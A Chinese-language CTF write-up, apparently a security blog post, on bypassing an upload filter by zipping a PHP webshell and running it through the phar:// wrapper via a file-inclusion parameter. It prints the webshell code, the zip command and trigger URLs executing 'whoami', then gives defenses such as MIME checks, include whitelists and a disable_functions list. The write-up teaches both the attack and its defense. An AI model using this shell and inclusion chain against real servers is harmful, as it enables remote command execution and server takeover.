从CTF赛题到实战:利用phar伪协议绕过上传限制的攻防演练
1. 从CTF赛题看phar伪协议的威力第一次看到NISACTF 2022这道bingdundun~题目时我就被它精妙的设计吸引了。题目界面很简单 - 一个文件上传功能限制只能上传图片或压缩包。但仔细观察URL会发现一个有趣的GET参数。这个看似普通的文件上传点实际上暗藏杀机。我在本地搭建了类似环境进行测试。当我尝试上传一个普通图片时系统正常接收但当我上传一个包含恶意代码的PHP文件时立即被拦截。这时候phar伪协议就派上用场了。pharPHP Archive是PHP中类似Java的jar包的一种打包格式它允许我们将PHP代码打包成一个归档文件。关键点在于phar伪协议不仅能读取.phar文件还能读取.zip压缩包。这意味着攻击者可以创建一个包含恶意代码的PHP文件将其压缩成.zip格式上传这个无害的压缩包通过phar://协议触发其中的恶意代码2. phar伪协议的工作原理深度解析2.1 phar文件结构剖析phar文件由四个主要部分组成理解这些结构对后续攻击至关重要Stub相当于phar的文件头必须包含__HALT_COMPILER();语句。有趣的是这个部分可以包含任意内容包括图片的二进制数据。这就是为什么我们可以制作一个既是合法图片又是phar文件的双重身份文件。Manifest描述文件内容的元数据采用序列化格式存储。这部分在phar反序列化攻击中扮演关键角色虽然当前场景用不到这个特性。File Contents实际的文件内容我们可以在这里藏入恶意代码。Signature可选文件的数字签名用于验证完整性。2.2 为什么zip文件也能被利用很多人不知道的是phar://不仅能处理.phar文件还能处理.zip压缩包。这是因为PHP内部对这两种格式的支持机制类似。我做过测试在PHP 5.3及以上版本中以下操作都是可行的// 读取phar文件 include phar://malicious.phar/evil.php; // 读取zip文件 include phar://malicious.zip/evil.php;这种特性给了攻击者很大便利因为.zip是更常见的文件格式很多系统都允许上传。3. 实战演练从零开始构建攻击链3.1 制作恶意压缩包让我们一步步构建攻击载荷。首先创建一个包含恶意代码的PHP文件?php // evil.php system($_GET[cmd]); ?然后使用zip命令打包注意要用zip格式rar不行zip evil.zip evil.php现在我们就有了一个看似无害的压缩包实际上内含恶意代码。3.2 绕过上传限制回到题目场景系统限制只能上传图片或压缩包。我们的evil.zip完美符合要求。上传后系统通常会返回文件存储路径比如/uploads/evil.zip3.3 触发文件包含漏洞观察题目URL发现有一个GET参数可能用于文件包含http://example.com/?bingdundunindex测试发现它会自动添加.php后缀于是我们构造http://example.com/?bingdundunphar://uploads/evil.zip/evil这样系统会解析为phar://uploads/evil.zip/evil.php成功触发我们的恶意代码现在可以执行任意命令http://example.com/?bingdundunphar://uploads/evil.zip/evilcmdwhoami4. 防御之道如何防护phar伪协议攻击4.1 输入验证策略防御这类攻击需要多层防护文件内容检查不要仅依赖文件扩展名应该检查实际内容。使用finfo_file()函数检测真实MIME类型。$finfo finfo_open(FILEINFO_MIME_TYPE); $mime finfo_file($finfo, $_FILES[file][tmp_name]); finfo_close($finfo); $allowed [image/jpeg, application/zip]; if (!in_array($mime, $allowed)) { die(Invalid file type); }重命名上传文件不要保留用户上传的文件名使用随机生成的名字并强制指定安全扩展名。4.2 限制文件包含功能如果必须使用文件包含应该白名单限制可包含的文件禁止使用任何协议包装器phar://, zip://等禁用危险函数php.ini中设置disable_functions exec,system,...; php.ini allow_url_include Off disable_functions exec,passthru,shell_exec,system,...5. 从CTF到真实世界的思考在真实渗透测试中我遇到过不少类似案例。有一次客户系统允许上传.zip简历结果攻击者利用phar伪协议获取了服务器权限。修复方案除了上述措施我们还建议定期更新PHP版本新版本对phar有更多限制使用容器隔离上传目录实施严格的权限控制CTF题目往往简化了真实场景但核心原理相通。理解phar伪协议的攻击方式不仅能帮助安全人员发现漏洞也能让开发者构建更安全的系统。